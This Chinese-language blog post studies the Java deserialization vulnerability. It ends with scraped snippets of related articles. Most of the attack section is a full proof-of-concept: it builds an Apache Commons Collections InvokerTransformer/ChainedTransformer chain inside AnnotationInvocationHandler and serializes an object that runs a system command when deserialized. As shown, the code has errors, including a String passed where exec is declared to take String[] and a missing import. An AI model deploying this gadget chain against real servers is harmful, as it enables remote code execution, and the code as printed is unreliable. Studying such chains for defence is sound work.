java反序列化漏洞原理研习

零、Java反序列化漏洞

  java的安全问题首屈一指的就是反序列化漏洞,可以执行命令啊,甚至直接getshell,所以趁着这个假期好好研究一下java的反序列化漏洞。另外呢,组里多位大佬对反序列化漏洞都有颇深的研究,借此机会,努力学习,作为狼群中的哈士奇希望成功的继续伪装下去,不被识破,哈哈哈哈!!!

参考文档:感谢所有参考文献的作者:

1、https://www.cnblogs.com/bencakes/p/6139477.html

2、https://www.cnblogs.com/ssooking/p/5875215.html

3、https://www.cnblogs.com/xdp-gacl/p/3777987.html

一、Java的序列化与反序列化:

在这里我们直接自己定义一个类,然后对这个类的对象(一个实例)进行序列化和发序列化测试。

 1 //引入必要的java包文件
 2 import java.io.*;
 3
 4 //创建测试类,注意要继承Serializable接口
 5 class serialdemo implements Serializable{
 6     public static int number;
 7     public serialdemo(int inputnum) {
 8         this.number = inputnum;
 9     }
10 }
11
12 //主类
13 public class test{
14     //测试主类
15     public static void main(String[] args) throws IOException, ClassNotFoundException {
16         //主函数入口
17         serialdemo object = new serialdemo(100);
18         FileOutputStream fileoutputstream = new FileOutputStream("serail.ser");//创建文件写入对象
19         ObjectOutputStream outputstream = new ObjectOutputStream(fileoutputstream);//创建类型序列化通道对象
20         outputstream.writeObject(object);//把类对象(实例)序列化进入文件
21         outputstream.close();
22         FileInputStream fileinputstream = new FileInputStream("serail.ser");//从文件读取对象
23         ObjectInputStream inputstream = new ObjectInputStream(fileinputstream);//对象反序列化
24         // 通过反序列化恢复对象obj
25         serialdemo object2 = (serialdemo)inputstream.readObject();
26         System.out.println("反序列化后的对象的值:");
27         System.out.println(object2.number);
28         inputstream.close();
29     }
30 }

既然自己定义的类都可以了,那么默认的java存在的数据类型的实例当然也都可以啦~运行结果如下:

1 └─[$]> java test
2 反序列化后的对象的值:
3 100

二、对java序列化的详解:

1、api定位:

1 /*
2 java.io.ObjectOutputStream  ->   writeObject()
3 java.io.ObjectInputStream    ->    readObject()
4 序列化把对象序列化成字节流
5 反序列化读取字节流反序列化对象
6 */

2、实现Serializable和Externalizable接口的类才能序列化与反序列化。

3、java的反射机制:

/*
在java运行状态中
1.对于任何一个类,都能判断对象所属的类;
2.对于任何一个类,都能获取其所有的属性和方法;
3.对于任何一个对象,都能调用任意一个方法和属性;
*/

三、反序列化的漏洞原理概述:

1、由于很多站点或者RMI仓库等接口处存在java的反序列化功能,攻击者可以通过构造特定的恶意对象序列化后的流,让目标反序列化,从而达到自己的恶意预期行为,包括命令执行,甚至getshell等等。

2、Apache Commons Collections

这是开源小组Apache研发的一个Collections收集器框架,提供诸如list、set、queue等功能对象。这个框架中有一个接口,其中有一个实现该接口的类可以通过调用java的反射机制来调用任意函数,这个接口类是InvokerTransformer。这个架构的广泛使用,也导致了java反序列化漏洞的大面积流行。

3、java执行系统命令:

 1 //命令执行函数
 2 public void test() throws IOException, InterruptedException {
 3         Process process = Runtime.getRuntime().exec("whoami");
 4         InputStream inputstream = process.getInputStream();
 5         BufferedReader reader = new BufferedReader(new InputStreamReader(inputstream));
 6         process.waitFor();
 7         if (process.exitValue() != 0) {
 8             //说明命令执行失败
 9             //可以进入到错误处理步骤中
10         }
11         //打印输出信息
12         String s = null;
13         while ((s = reader.readLine()) != null) {
14             System.out.println(s);
15         }
16     }

简介:

Runtime.getRuntime().exec("command_string");

回显呢:

Process process = Runtime.getRuntime().exec("command_string");

InputStream inputstream = process.getInputStream();

BufferReader reader = new BufferReader(new InputStreamReader(inputstream));

System.out.prinln(reader.readLine());

把上面结合起来就是序列化的打法。

四、关于反射链

以前一直不理解反射链是什么定西,现在我们来看看接口源代码:

我们来理一理这一段:

开始:

可以看出来这个方法,属于一个对象,输出另外一个对象,完成了类型的转换。同时这个接口还可以串联完成一系列的转换,构成反射链。

Apache Commons Collections中已经实现了一些常见的Transformer,其中有一个可以通过Java的反射机制来调用任意函数,叫做InvokerTransformer,代码如下:

 1 public class InvokerTransformer implements Transformer, Serializable {
 2
 3 ...
 4
 5     /*
 6         Input参数为要进行反射的对象,
 7         iMethodName,iParamTypes为调用的方法名称以及该方法的参数类型
 8         iArgs为对应方法的参数
 9         在invokeTransformer这个类的构造函数中我们可以发现,这三个参数均为可控参数
10     */
11     public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
12         super();
13         iMethodName = methodName;
14         iParamTypes = paramTypes;
15         iArgs = args;
16     }
17
18     public Object transform(Object input) {
19         if (input == null) {
20             return null;
21         }
22         try {
23             Class cls = input.getClass();
24             Method method = cls.getMethod(iMethodName, iParamTypes);
25             return method.invoke(input, iArgs);
26
27         } catch (NoSuchMethodException ex) {
28             throw new FunctorException("InvokerTransformer: The method ‘" + iMethodName + "‘ on ‘" + input.getClass() + "‘ does not exist");
29         } catch (IllegalAccessException ex) {
30             throw new FunctorException("InvokerTransformer: The method ‘" + iMethodName + "‘ on ‘" + input.getClass() + "‘ cannot be accessed");
31         } catch (InvocationTargetException ex) {
32             throw new FunctorException("InvokerTransformer: The method ‘" + iMethodName + "‘ on ‘" + input.getClass() + "‘ threw an exception", ex);
33         }
34     }
35
36 }

只需要传入方法名、参数类型和参数,即可调用任意函数。

在这里,我们可以看到,先用ConstantTransformer()获取了Runtime类,接着反射调用getRuntime函数,再调用getRuntime的exec()函数,执行命令。依次调用关系为: Runtime --> getRuntime --> exec()。因此,我们要提前构造 ChainedTransformer链,它会按照我们设定的顺序依次调用Runtime, getRuntime,exec函数,进而执行命令。正式开始时,我们先构造一个TransformeMap实例,然后想办法修改它其中的数据,使其自动调用tansform()方法进行特定的变换(即我们之前设定好的)

五、poc原理分析:

参考大牛博客,给出一个原理解释知识点

1 ConstantTransformer
2 把一个对象转化为常量,并返回。
3
4 InvokerTransformer
5 通过反射,返回一个对象
6
7 ChainedTransformer
8 ChainedTransformer为链式的Transformer,会挨个执行我们定义Transformer

不得不说上面大牛博客分析的大段的代码原理我基本都不懂,因为不是java程序员的我对此真是摸不着头脑,但是我们可以做如下总结:

1 /*
2 1、java反序列化可以远程执行命令。
3 2、java执行命令用到Runtime.getRuntime().exec("whoami");
4 3、java在apache commons collections中存在InvokerTransoformer接口可以串联对对象进行转化,形成反射链。
5 4、ConstantTransformer可以把对象转换为常量返回。
6 5、ChainedTransformer为链式的Transformer,会挨个执行我们定义Transformer
7 6、AnnotationInvocationHandler类可以导致命令执行在readobject时候自动执行
8 */

POC的思路:

1 /*
2 1)首先构造一个Map和一个能够执行代码的ChainedTransformer,
3 2)生成一个TransformedMap实例
4 3)实例化AnnotationInvocationHandler,并对其进行序列化,
5 4)当触发readObject()反序列化的时候,就能实现命令执行。
6 POC执行流程为 TransformedMap->AnnotationInvocationHandler.readObject()->setValue()- 漏洞成功触发
7 */

分析大牛poc核心代码逻辑:

  1 /*
  2 核心逻辑表达式:
  3 ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");
  4 主函数中:
  5 1、定义一个要执行的命令字符串:String commandstring = "whoami";
  6 2、定义一个执行逻辑:
  7 Transformer[] transformers = new Transformer[] {
  8   new ConstantTransformer(Runtime.class),
  9   new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}),
 10   new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null, null})
 11   new InvokerTransformer("exec",new Class[] {String[].class},new Object[] {commandstring})
 12 }
 13 3、执行逻辑转化操作(ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作):
 14 Transformer transformedChain = new ChainedTransformer(transformers);
 15 4、后面是关于不关心的东西,写死即可:
 16 Map<String,String> BeforeTransformerMap = new HashMap<String,String>();
 17 BeforeTransformerMap.put("hello", "hello");
 18 Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);
 19 Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
 20 Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
 21 ctor.setAccessible(true);
 22 Object instance = ctor.newInstance(Target.class, AfterTransformerMap);
 23 File f = new File("temp.bin");
 24 ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
 25 out.writeObject(instance);
 26 */
 27
 28 //引入必要的java包文件
 29 import java.io.File;
 30 import java.io.FileInputStream;
 31 import java.io.FileNotFoundException;
 32 import java.io.FileOutputStream;
 33 import java.io.IOException;
 34 import java.io.ObjectInputStream;
 35 import java.io.ObjectOutputStream;
 36 import java.lang.annotation.Retention;
 37 import java.lang.reflect.Constructor;
 38 import java.util.HashMap;
 39 import java.util.Map;
 40 import java.util.Map.Entry;
 41
 42 //引入第三方包文件,也就是关于apache的那几个包
 43 import org.apache.commons.collections.Transformer;
 44 import org.apache.commons.collections.functors.ChainedTransformer;
 45 import org.apache.commons.collections.functors.ConstantTransformer;
 46 import org.apache.commons.collections.functors.InvokerTransformer;
 47 import org.apache.commons.collections.map.TransformedMap;
 48
 49 //主类
 50 public class POC_Test{
 51     public static void main(String[] args) throws Exception {
 52         //定义待执行的命令:
 53         String commandstring = "whoami";
 54         //定义一个反射链,确定预定的转化逻辑
 55         /*
 56           定义一个反射链的方法:
 57           Transformer[] varitename = new Transformer[] {
 58             new ConstantTransformer(Runtime.class),
 59             new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}),
 60             new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null, null})
 61             new InvokerTransformer("exec",new Class[] {String[].class},new Object[] {commandstring})
 62           }
 63         */
 64         Transformer[] transformers = new Transformer[] {
 65             new ConstantTransformer(Runtime.class),
 66             /*
 67             由于Method类的invoke(Object obj,Object args[])方法的定义
 68             所以在反射内写new Class[] {Object.class, Object[].class }
 69             正常POC流程举例:
 70             ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");
 71             */
 72             new InvokerTransformer(
 73                 "getMethod",
 74                 new Class[] {String.class, Class[].class },
 75                 new Object[] {"getRuntime", new Class[0] }
 76             ),
 77             new InvokerTransformer(
 78                 "invoke",
 79                 new Class[] {Object.class,Object[].class },
 80                 new Object[] {null, null }
 81             ),
 82             new InvokerTransformer(
 83                 "exec",
 84                 new Class[] {String[].class },
 85                 new Object[] { commandstring }
 86                 //new Object[] { execArgs }
 87             )
 88         };
 89
 90         //transformedChain: ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作
 91         Transformer transformedChain = new ChainedTransformer(transformers);
 92
 93         //BeforeTransformerMap: Map数据结构,转换前的Map,Map数据结构内的对象是键值对形式,类比于python的dict
 94         //Map&lt;String, String&gt; BeforeTransformerMap = new HashMap&lt;String, String&gt;();
 95         Map<String,String> BeforeTransformerMap = new HashMap<String,String>();
 96         BeforeTransformerMap.put("hello", "hello");
 97
 98         //Map数据结构,转换后的Map
 99        /*
100        TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。
101             第一个参数为待转化的Map对象
102             第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)
103             第三个参数为Map对象内的value要经过的转化方法。
104        */
105         //TransformedMap.decorate(目标Map, key的转化对象(单个或者链或者null), value的转化对象(单个或者链或者null));
106         Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);
107         Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
108         Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
109         ctor.setAccessible(true);
110         Object instance = ctor.newInstance(Target.class, AfterTransformerMap);
111         File f = new File("temp.bin");
112         ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
113         out.writeObject(instance);
114     }
115 }
116
117 /*
118 思路:构建BeforeTransformerMap的键值对,为其赋值,
119      利用TransformedMap的decorate方法,对Map数据结构的key/value进行transforme
120      对BeforeTransformerMap的value进行转换,当BeforeTransformerMap的value执行完一个完整转换链,就完成了命令执行
121
122      执行本质: ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec(.........)
123      利用反射调用Runtime() 执行了一段系统命令, Runtime.getRuntime().exec()
124
125 */

原文地址:https://www.cnblogs.com/KevinGeorge/p/8448967.html

时间: 2024-08-28 22:47:57

java反序列化漏洞原理研习的相关文章

Java反序列化漏洞通用利用分析

2015年11月6日,FoxGlove Security安全团队的@breenmachine 发布的一篇博客[3]中介绍了如何利用Java反序列化漏洞,来攻击最新版的WebLogic.WebSphere.JBoss.Jenkins.OpenNMS这些大名鼎鼎的Java应用,实现远程代码执行. 然而事实上,博客作者并不是漏洞发现者.博客中提到,早在2015年的1月28号,Gabriel Lawrence (@gebl)和Chris Frohoff (@frohoff)在AppSecCali上给出了

Java反序列化漏洞的挖掘、攻击与防御

一.Java反序列化漏洞的挖掘 1.黑盒流量分析: 在Java反序列化传送的包中,一般有两种传送方式,在TCP报文中,一般二进制流方式传输,在HTTP报文中,则大多以base64传输.因而在流量中有一些特征: (1)TCP:必有aced0005,这个16进制流基本上也意味者java反序列化的开始: (2)HTTP:必有rO0AB,其实这就是aced0005的base64编码的结果: 以上意味着存在Java反序列化,可尝试构造payload进行攻击. 2.黑盒java的RMI: rmi是java的

Java反序列化漏洞分析

相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 http://www.tuicool.com/articles/ZvMbIne http://www.freebuf.com/vuls/86566.html http://sec.chinabyte.com/435/13618435.shtml http://www.myhack58.com/Articl

weblogic打补丁修复JAVA反序列化漏洞 &nbsp; &nbsp; &nbsp;

之前一篇文章记录部署web代理修复漏洞通过部署web代理来修复JAVA反序列化漏洞,这篇通过打补丁来修复这个漏洞.详见(Doc ID 2075927.1) 系统环境如下所示: OS:Oracle Linux Server release 6.1 64bit Weblogic:10.3.6 具体操作如下步骤所示: 1.备份备份备份 2.一切操作安装补丁README来 2.1 更新PSU 2.2 打补丁 1.备份 做好备份工作,无论是否可以回退,保证有备份 2.上传PSU weblogic补丁上传,

WEBLOGIC 11G (10.3.6) windows PSU 升级10.3.6.0.171017(Java 反序列化漏洞升级)

10.3.6版本的weblogic需要补丁到10.3.6.0.171017(2017年10月份的补丁,Java 反序列化漏洞升级),oracle官方建议至少打上2017年10月份补丁;10.3.6以下的版本需要升级至10.3.6 然后在补丁升级. 一.查看版本 1.用下面命令重配环境变量D:\Oracle\Middleware\wlserver_10.3\server\binsetWLSEnv.cmd 1.1.查看weblogic version D:\Oracle\Middleware\uti

JAVA反序列化漏洞解决办法

一.漏洞描述: 近期,反序列化任意代码执行漏洞持续发酵,越来越多的系统被爆出存在此漏洞.Apache Commons工具集广泛应用于JAVA技术平台,存在Apache Commons Components InvokerTransformer反序列化任意代码执行漏洞, WebLogic.IBM WebSphere.JBoss.Jenkins和OpenNMS等应用都大量调用了Commons工具集,通过远程代码执行可对上述应用发起远程攻击. 二.漏洞解决办法: 1 使用 SerialKiller 替

weblogic服务器部署web代理修复weblogic的JAVA反序列化漏洞

近日乌云发邮件提示公司的某系统存在漏洞,有关weblogic,详细信息参考http://drops.wooyun.org/papers/13244 修复方法http://drops.wooyun.org/web/13470 本次使用Apache作为代理进行处理,也就是在weblogic服务器安装web(Apache或者nginx)代理应用,使web代理监听原有weblogic监听的端口,并且将http请求转发给本机的weblogic进行处理.详细操作如下所示 OS:Oracle Linux 6.

关于metaspolit中进行JAVA反序列化渗透RMI的原理分析

一.背景: 这里需要对java反序列化有点了解,在这里得推广下自己的博客嘛,虽然写的不好,广告还是要做的.原谅我: 1.java反序列化漏洞原理研习 2.java反序列化漏洞的检测 二.攻击手法简介 针对这个使用msf攻击需要大家看一篇文章:JMX RMI Exploit 实例 , 鸣谢,确实学到了很多,膜拜大牛 , 简要介绍下攻击手法: (1)下载mjet模块:下载连接mjet,如果是mac电脑安装好metaspolit以后可以直接使用git clone命令下载到metaspolit的父目录下

java反序列化原理-Demo(一)

java反序列化原理-Demo(一) 0x00 什么是java序列化和反序列? Java 序列化是指把 Java 对象转换为字节序列的过程便于保存在内存.文件.数据库中,ObjectOutputStream类的 writeObject() 方法可以实现序列化.Java 反序列化是指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的 readObject() 方法用于反序列化. 0x01 java反序列漏洞原理分析 首先先定义一个user类需继承Serializabl